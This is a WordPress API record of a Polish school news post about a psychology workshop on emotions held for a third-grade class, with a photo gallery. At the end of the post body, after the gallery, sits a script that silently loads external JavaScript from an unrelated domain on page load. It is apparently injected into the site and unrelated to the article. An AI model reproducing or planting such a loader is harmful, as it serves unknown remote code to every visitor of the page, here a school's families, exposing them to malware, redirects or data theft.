{"id":54153,"date":"2025-02-21T11:11:07","date_gmt":"2025-02-21T11:11:07","guid":{"rendered":"https:\/\/mycielewo.pl\/?p=54153"},"modified":"2026-03-20T11:56:34","modified_gmt":"2026-03-20T11:56:34","slug":"54153","status":"publish","type":"post","link":"https:\/\/mycielewo.pl\/?p=54153","title":{"rendered":"Emocje pod lup\u0105 \u2013 jak je rozumie\u0107 i wyra\u017ca\u0107?"},"content":{"rendered":"\n<p><strong>15 stycznia w klasie 3 odby\u0142y si\u0119 warsztaty profilaktyczne, kt\u00f3re poprowadzi\u0142y panie psycholog z Powiatowej Poradni Psychologiczno-Pedagogicznej w Nakle nad Noteci\u0105 \u2014 Anna Ramza i Aneta Burgas-Walentowska.<\/strong><\/p>\n\n\n\n<p>Podczas spotkania prowadz\u0105ce skupi\u0142y si\u0119 na przypomnieniu dzieciom najwa\u017cniejszych emocji oraz na znaczeniu umiej\u0119tnego radzenia sobie z nimi.<\/p>\n\n\n\n<p>Emocje s\u0105 naturaln\u0105 cz\u0119\u015bci\u0105 \u017cycia ka\u017cdego cz\u0142owieka. Z psychologicznego punktu widzenia stanowi\u0105 reakcj\u0119 na otoczenie, zachodz\u0105ce zmiany i docieraj\u0105ce do nas bod\u017ace. Pojawiaj\u0105 si\u0119 w odpowiedzi na to, czego do\u015bwiadczamy w relacji z otaczaj\u0105cym \u015bwiatem.<\/p>\n\n\n\n<p>Cho\u0107 emocje mog\u0105 by\u0107 dla nas przykre lub przyjemne, warto pami\u0119ta\u0107, \u017ce nie dziel\u0105 si\u0119 na dobre i z\u0142e. Ka\u017cda emocja niesie ze sob\u0105 wa\u017cny komunikat o zmianach w naszym otoczeniu. To nie same emocje, ale spos\u00f3b ich wyra\u017cania mo\u017ce by\u0107 w\u0142a\u015bciwy lub nieodpowiedni.<\/p>\n\n\n\n<p>Emocje odgrywaj\u0105 kluczow\u0105 rol\u0119 w naszym \u017cyciu, towarzysz\u0105c nam nieustannie. Pojawiaj\u0105 si\u0119 nagle, cz\u0119sto jako reakcja na konkretne wydarzenie, my\u015bl czy wspomnienie, wp\u0142ywaj\u0105c na nasze zachowanie i reakcje.<\/p>\n\n\n\n<p>Dlatego tak istotne jest rozmawianie z dzie\u0107mi o emocjach, pomaganie im w nazywaniu uczu\u0107 oraz wsp\u00f3lne poszukiwanie zdrowych sposob\u00f3w ich wyra\u017cania. Warsztaty by\u0142y cenn\u0105 lekcj\u0105, kt\u00f3ra pokaza\u0142a uczniom, jak zrozumie\u0107 i akceptowa\u0107 swoje emocje.<\/p>\n\n\n\n<p class=\"has-text-align-right\"><em>Ma\u0142gorzata Kwiatkowska<\/em><\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-4 is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1536\" data-id=\"54158\" src=\"https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee001-6.jpg\" alt=\"\" class=\"wp-image-54158\" srcset=\"https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee001-6.jpg 2048w, https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee001-6-768x576.jpg 768w, https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee001-6-1536x1152.jpg 1536w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1536\" data-id=\"54159\" src=\"https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee002-6.jpg\" alt=\"\" class=\"wp-image-54159\" srcset=\"https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee002-6.jpg 2048w, https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee002-6-768x576.jpg 768w, https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee002-6-1536x1152.jpg 1536w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1536\" data-id=\"54161\" src=\"https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee003-5.jpg\" alt=\"\" class=\"wp-image-54161\" srcset=\"https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee003-5.jpg 2048w, https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee003-5-768x576.jpg 768w, https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee003-5-1536x1152.jpg 1536w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1536\" data-id=\"54160\" src=\"https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee004-5.jpg\" alt=\"\" class=\"wp-image-54160\" srcset=\"https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee004-5.jpg 2048w, https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee004-5-768x576.jpg 768w, https:\/\/mycielewo.pl\/wp-content\/uploads\/2025\/02\/imagee004-5-1536x1152.jpg 1536w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/><\/figure>\n<\/figure>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>15 stycznia w klasie 3 odby\u0142y si\u0119 warsztaty profilaktyczne, kt\u00f3re poprowadzi\u0142y panie psycholog z Powiatowej Poradni Psychologiczno-Pedagogicznej w Nakle nad Noteci\u0105 \u2014 Anna Ramza i Aneta Burgas-Walentowska. Podczas spotkania prowadz\u0105ce skupi\u0142y si\u0119 na przypomnieniu dzieciom najwa\u017cniejszych emocji oraz na znaczeniu umiej\u0119tnego radzenia sobie z nimi. Emocje s\u0105 naturaln\u0105 cz\u0119\u015bci\u0105 \u017cycia ka\u017cdego cz\u0142owieka. Z psychologicznego punktu&hellip; <a class=\"continue\" href=\"https:\/\/mycielewo.pl\/?p=54153\">Kontynuuj czytanie<span> Emocje pod lup\u0105 \u2013 jak je rozumie\u0107 i wyra\u017ca\u0107?<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-54153","post","type-post","status-publish","format-standard","hentry","category-bez-kategorii"],"_links":{"self":[{"href":"https:\/\/mycielewo.pl\/index.php?rest_route=\/wp\/v2\/posts\/54153","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mycielewo.pl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mycielewo.pl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mycielewo.pl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mycielewo.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=54153"}],"version-history":[{"count":5,"href":"https:\/\/mycielewo.pl\/index.php?rest_route=\/wp\/v2\/posts\/54153\/revisions"}],"predecessor-version":[{"id":61740,"href":"https:\/\/mycielewo.pl\/index.php?rest_route=\/wp\/v2\/posts\/54153\/revisions\/61740"}],"wp:attachment":[{"href":"https:\/\/mycielewo.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=54153"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mycielewo.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=54153"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mycielewo.pl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=54153"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}